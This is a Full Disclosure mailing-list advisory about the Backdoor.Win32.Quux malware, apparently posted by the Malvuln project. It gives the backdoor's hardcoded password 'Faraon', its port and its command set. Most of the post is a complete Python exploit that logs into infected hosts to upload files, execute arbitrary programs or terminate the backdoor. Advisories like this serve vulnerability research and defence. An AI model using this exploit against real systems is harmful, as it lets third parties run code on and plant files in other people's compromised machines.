Message-ID: <CAAHK0WSNoSWc+T3KHY96=yz2vUqyafGy6Oo_tDhwWw-9mVj=zw@mail.gmail.com>
Date: Tue, 15 Nov 2022 20:34:37 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Quux / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/13ce53de9ca4c4e6c58f990b442cb419.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Quux
Vulnerability: Weak Hardcoded Credentials
Family: Quux
Type: PE32
MD5: 13ce53de9ca4c4e6c58f990b442cb419
Vuln ID: MVID-2022-0656
Dropped files: quux32.exe
Disclosure: 11/15/2022
Description: The malware listens on TCP port 3. Authentication is required,
however the password "Faraon" translated from Romanian as "Pharaoh" is weak
and hardcoded in cleartext within the PE file. Third-party adversaries who
can reach an infected host can call commands made available by the
backdoor. Commands include uploading files and code execution. Theres a
need to code a custom client to communicate with the infected host as
nc64.exe and telnet send LF characters and will fail authentication when
sending credentials containing "\n" etc. Once connected if we send any
files they will be written to Windows\System unless calling the
"SetCurrDir" commmand.

0040AD24 ; char aFaraon[]
0040AD24 aFaraon         db 'Faraon',0           ; DATA XREF _WinMain@...0
+376↑o
0040AD2B                 align 100h

[Commands]
SetCurrDir
GetCurrDir
GetCurrentDirectory
Exec
GetFile
SendFile
quit
exit
shutdown
dir
CreateFile
DeleteFile
MessageBox
die


Exploit/PoC:
"quux32_xploit.py"

from socket import *
import time, sys

BANNER="""
  ____                  ____ ___    ____           __     _ __
 / __ \__ ____ ____ __ |_  /|_  |  / __/_ __ ___  / /__  (_) /_
/ /_/ / // / // /\ \ /_/_ </ __/  / _/ \ \ // _ \/ / _ \/ / __/
\___\_\_,_/\_,_//_\_\/____/____/ /___//_\_\/ .__/_/\___/_/\__/
                                          /_/
                                               By Malvuln
                                MVID-2022-0656 - Nov 2022
"""

MALWARE_HOST=""
PORT=3
CREDZ="Faraon"

def chk_res(s):
    res=""
    while True:
        res += s.recv(512).decode()
        if "#" in res or "\0" in res or "\n" in res or ":" in res:
            break
    return res

def auth():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Authenticate
    s.send(CREDZ.encode())
    time.sleep(0.5)
    return s

def upload(the_file):

    s = auth()

    PAYLOAD="GetCurrentDirectory"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))

    PAYLOAD="SetCurrDir"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))

    PAYLOAD="C:\\Users\\Public"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))

    PAYLOAD="GetCurrentDirectory"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))

    PAYLOAD="SendFile"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)

    PAYLOAD=the_file
    s.send(PAYLOAD.encode())
    time.sleep(0.5)

    PAYLOAD="Exec"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)

    PAYLOAD=the_file
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))
    print("[+] Uploading: "+the_file)

    time.sleep(2)
    s.close()

def isIP(ip):
    try:
        inet_aton(ip)
        return True
    except Exception as e:
        return False

def execute(program):

    s = auth()
    PAYLOAD="Exec"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)

    PAYLOAD=program
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print(chk_res(s))
    print("[+] Executing: "+program)

def kill_srv():

    s = auth()
    print(chk_res(s))
    PAYLOAD="die"
    s.send(PAYLOAD.encode())
    time.sleep(0.5)
    print("[+] Backdoor terminated!")


if __name__=="__main__":
    print(BANNER)
    if len(sys.argv) == 3:
        MALWARE_HOST=sys.argv[1]
        CMD = sys.argv[2]
        if isIP(MALWARE_HOST):
            if CMD=="1":
                _file=input("[-] File to upload: > ")
                if _file:
                    upload(_file)
                else:
                    exit(1)
            elif CMD=="2":
                pgm=input("[-] Program to run: > ")
                if pgm:
                    execute(pgm)
                else:
                    exit(1)
            elif CMD=="3":
                choice=input("[-] Kill server? 1=Yes > ")
                if choice.lower()=="1":
                    kill_srv()
        else:
            print("[!] Invalid IP!")
            exit(1)
    else:
        print("[*] QuuX32 Exploit Usage: \n[-]IP: x.x.x.x, Command
(1=Upload file, 2=Exec program, 3=Kill server)")
        exit(1)



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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